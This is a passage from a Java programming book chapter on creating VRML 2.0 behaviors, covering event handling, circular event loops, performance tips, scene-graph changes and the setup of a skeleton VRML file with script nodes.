eventOut field, then only one event is sent. All eventOuts generated during the execution of the script have the same time stamp. If your script has spawned a thread, and that script is removed from the scene graph, then the browser is required to call the shutdown() method for each active thread, enabling a graceful exit. Should you wish to maintain static data between invocations of the script, then it is recommended that the VRML script node have fields to hold the values. While it is possible to use static variables within the Java class, VRML makes no guarantees that these will be retained, especially if the script is unloaded from memory. If you are a hardcore programmer, you probably want to keep track of all the event handling mechanisms yourself. VRML provides the facility to do this. The processEvents() method is what you need. It is called when the browser decides to process the queued eventIns for a script. It is sent an array of the events waiting to be processed, which programmers can then do with as they please. Graphics programmers should already be familiar with event handling techniques from either the MS-Windows, Xlib, or Java AWT systems. Unfortunately, the VRML 2.0 draft 2 specification has not specified what the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (14 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

individual event names may be.

Circular Event Loops


The ROUTE syntax makes it very easy to construct circular event loops. Circular loops can be quite handy. The VRML specifications state that if the browser finds event loops, then it only processes each event once per timestamp. Events generated as a result of a change are given the same timestamp as the original change. This is because events are considered to happen instantaneously. When event loops are encountered in this situation then the browser will enforce a breakage of the loop. The sample script from the VRML specification using VRMLscript illustrates this example: DEF S Script { eventIn SFInt32 a eventIn SFInt32 b eventOut SFInt32 c field SFInt32 save_a 0 field SFInt32 save_b 0 url "data:x-lang/x-vrmlscript, TEXT; function a(val) { save_a = val; c = save_a+save_b;} function b(val) { save_b = val; c = save_a+save_b;} } ROUTE S.c to S.b S computes c=a+b with the ROUTE, completing a loop from the output c back to the input b. After the initial event with a=1 it leaves the eventOut c with a value of 1. This causes a cascade effect where b is set to 1. Normally this should generate and eventOut on c with the value of 2, but the browser has already seen that the eventOut c has been traversed for this timestamp and therefore enforces a break in the loop. This leaves the values save_a=1, save_b=1, and the eventOut c=1.

Creating Efficient Behaviors


Like all animation programming, the ultimate goal is to keep the frame rate as high as possible. In a multithreaded application like a VRML browser, the less time spent in behaviors code the more time that can be spent rendering. VR behavior programming in VRML is still very much in its infancy. This section outlines a few common sense approaches to keep up reasonable levels of performance, not only for the renderer, but also for the programmer. The first technique is to only use Java where necessary. This many sound a little strange from a book about Java programming, but consider the resources required to have not only a 3D rendering engine but a Java VM loaded to run even a simple behavior and the fact that the majority of viewers will be people using low-end pcs. Because most VRML browsers specify that a minimum of 16MB of RAM is required

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (15 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

(and preferably 32MB), to also load the Java VM into memory would require lots of swapping to keep the behaviors going. The inevitable result is bad performance. For this reason, the interpolator nodes and VRMLscript were created-built-in nodes for common basic calculations and a small light language to provide basic calculation abilities. Use of Java should be limited to the times when you require the capabilities of a full programming language, such as multi-threading and network interfaces. When you do have to use Java, keep the amount of calculation in the script to a minimum. If you are producing behaviors that require either extensive network communication or data processing, then these behaviors should be kept out of the script node and sent off in separate threads. The script should start the thread as either part of its constructor, or in response to some event, and then return as soon as possible. In VR systems frame rate is king. Don't aim to have a one-hundred percent correct behavior if it leads to twice the frame rate when a ninety percent one will do. It is quite amazing how users don't notice an incorrect behavior, but as soon as they notice that the picture update is slowing down they start to complain. Every extra line of code in the script delays the return of the CPU back to the renderer. In military simulations, the goal is to achieve 60fps, but even for Pentium class machines the goal should be to maintain at least 20fps. Much of this comes down not only to how detailed the world is, but also to how complex the behaviors are. As always, the amount of tradeoff between accuracy and frame rate is up to the individual programmer and application requirements. A user usually accepts that a door does not open smoothly so long as they can move around without watching individual frames redraw. Don't play with the event processing loop unless you really must. Your behaviors code will be distributed on many different types of machines and browsers. Each browser writer knows best how to optimize the event-handling mechanism to mesh with their internal architecture. With windowing systems, dealing with the event loop is a must in order to respond to user input, but in VR you no longer have control over the whole system. The processEvents() method only applies to the individual script, not as a common method across all scripts. So while you might think that you are optimizing the event handling, you are only doing it for one script. In a reasonably-sized world, there may be another few hundred scripts also running, so the optimization of an individual script isn't generally worth the effort.

Changing the Scene


Only add to the scene graph what is necessary. If it is possible to modify existing primitives, then use this in preference to adding new ones. Every primitive added to a scene requires the renderer to convert it to its internal representation and then reoptimize the scene graph to take account of the new objects. In modifying existing primitives, the browser is not required to resort the scene graph structure, saving computation time. A cloudy sky is better simulated using a multiframed texturemap image format, such as MJPEG, or PNG, on the background node than using lots of primitives that are constantly modified or dynamically added. If your scene requires objects to be added and removed on the fly and many of these are the same, don't just delete them from the scene graph. It is better to remove them from a node but keep an instance

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (16 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

pointer to them so that they may be reinserted at a later time. At the expense of a little extra memory, this saves time. If you don't take the time now, later you may have to access the objects from a network or construct them from the ground up from a string representation. Another trick is to create objects but not add them to the scene graph. VRML enables objects to be created but not added to the scene graph. Any object not added isn't drawn. For node types such as sensors, interpolators, and scripts, there is no need for these objects to be added. Doing so causes extra events to be generated, resulting in a slower system. Normal Java garbage collection rules apply for when these nodes are no longer referenced. VRML, however, adds one little extra. Adding a ROUTE to any object is the same as keeping a reference to the object. If a script creates a node, adds one or more ROUTEs, and then exits, the node stays allocated and it functions as though it were a normal part of the scene graph. There are dangers in this approach. Once you have lost the node instance pointer there is no way to delete it. You need this pointer if you are to delete the ROUTE. Deleting ROUTEs to the object is the only way to remove these floating nodes. Therefore, you should always keep the node instance pointers for all floating nodes you create so you can delete the ROUTEs to them when they're no longer needed. You must be particularly careful when you delete a section of the scene graph that has the only ROUTEd eventIn to a floating node that also contains an eventOut to a section of an undeleted section. This creates the VRML equivalent of memory leaks. The only way to remove this node is to replace the whole scene or remove the part of the scene that the eventOut references.

Dynamic Worlds-Creating VRML on the Fly


An earlier section described how it was not possible to create a world from a completely stand-alone application. While it would be nice to have this facility, it would be the same as being able to create a whole HTML page in the same manner. In order to create an HTML page applet, you need to first start it from an <APPLET> tag. A Java enabled page may consist of no more than an opening <HTML> tag followed by an <APPLET> tag pair and a closing </HTML> tag. VRML is no different. You can enclose a whole 3D application based on VRML in a similar manner. While this is not quite as efficient as creating a 3D application using a native 3D toolkit such as Java3D, VRML could be considered an abstraction on this, enabling programmable behaviors in a simplified manner-rather like using a GUI builder to create an application rather than writing it all by hand. The next section develops a framework for creating worlds on the fly. This can have quite a few different applications-from developing Cyberspace Protocol-based seamless worlds, to acting as a VR based scene editor-generating VRML or other 3D format output files. Throughout the development it is assumed that you are already familiar with at least VRML 1.0 syntax.

The VRML Source File


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (17 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

Just as in HTML, you need to start with a skeleton file to include the Java application. In VRML a little more than just including an applet and a few param tags is required. The first thing you need is at least one node to which you can add things. Remember that there is no method of adding a primitive to the root of the scene graph, so a pseudo root to which objects are added is required. For simplicity, a Group node is used. The bounding box is set to be large because you don't know how much space will be occupied. Leave the rest of the fields alone. The Group node has two eventIns-add_children and remove_children that are used later. The definition is DEF root_node Group { bboxSize 1000 1000 1000}

A few objects need to be put into the scene that are representative of the three methods of adding an object to the world. Taking the three primitives that form the VRML logo, the cube shall represent creating objects from a downloaded file, the sphere from an internal text description, and the cone will take the user to another VRML world by using the internal call to loadWorld(). They are surrounded in a transform to make sure they are located in different parts of the world (all objects are located at the origin by default). The cube definition follows: Transform { bboxSize 1 1 1 translation 2 0 0 children [ DEF cube_sensor TouchSensor{} Box { size 1 1 1} # script node will go here ] } Notice that only the TouchSensor itself has been DEF'd, not the whole object. The TouchSensor is the object that events are taken from. If there was no sensor, then the cube would exists as itself. Any mouse click (or touch if using a dataglove) on the cube does nothing. The other two nodes are similar in definition. For demonstration purposes, the separate scripts have been put with each of the objects. It makes no difference if you have lots of small scripts or one large one. For a VR scene creator, it is probably better to have one large script to keep track of the scene graph for the output file representation, but a virtual factory would have many small scripts, perhaps with some "centralized" script acting as the system controller.

Defining the Script Nodes


Once the basic file is defined, behaviors need to be added. The VRML file stands on its own at this point.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (18 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

You can click on objects, but nothing happens. Because each object has its own behavior, the requirement for each script is different. Each script requires one eventIn, which is the notification from its TouchSensor. The example presented does not have any hard realtime constraints, so the mustEvaluate field is left with the default setting of FALSE. For the cone, no outputs will be sent directly to nodes, so the directOutputs fields are left at FALSE. For the sphere, outputs are sent directly to the Group node, so it is set to TRUE. The cube needs to be set to TRUE as well, for reasons explained in the next section. Besides the eventIn, the Box script also needs an eventOut to send the new object to the Group node acting as the scene root. Good behavior is desirable if the user clicks on the cube more than once, so an extra internal variable is added, keeping the position of the last object that was added. Each new object added is translated two units along the z-axis from the previous one. A field is also needed to store the URL of the sample file that will be loaded. The Box script definition follows: DEF box_script Script { url "boxscript.class" directOutpu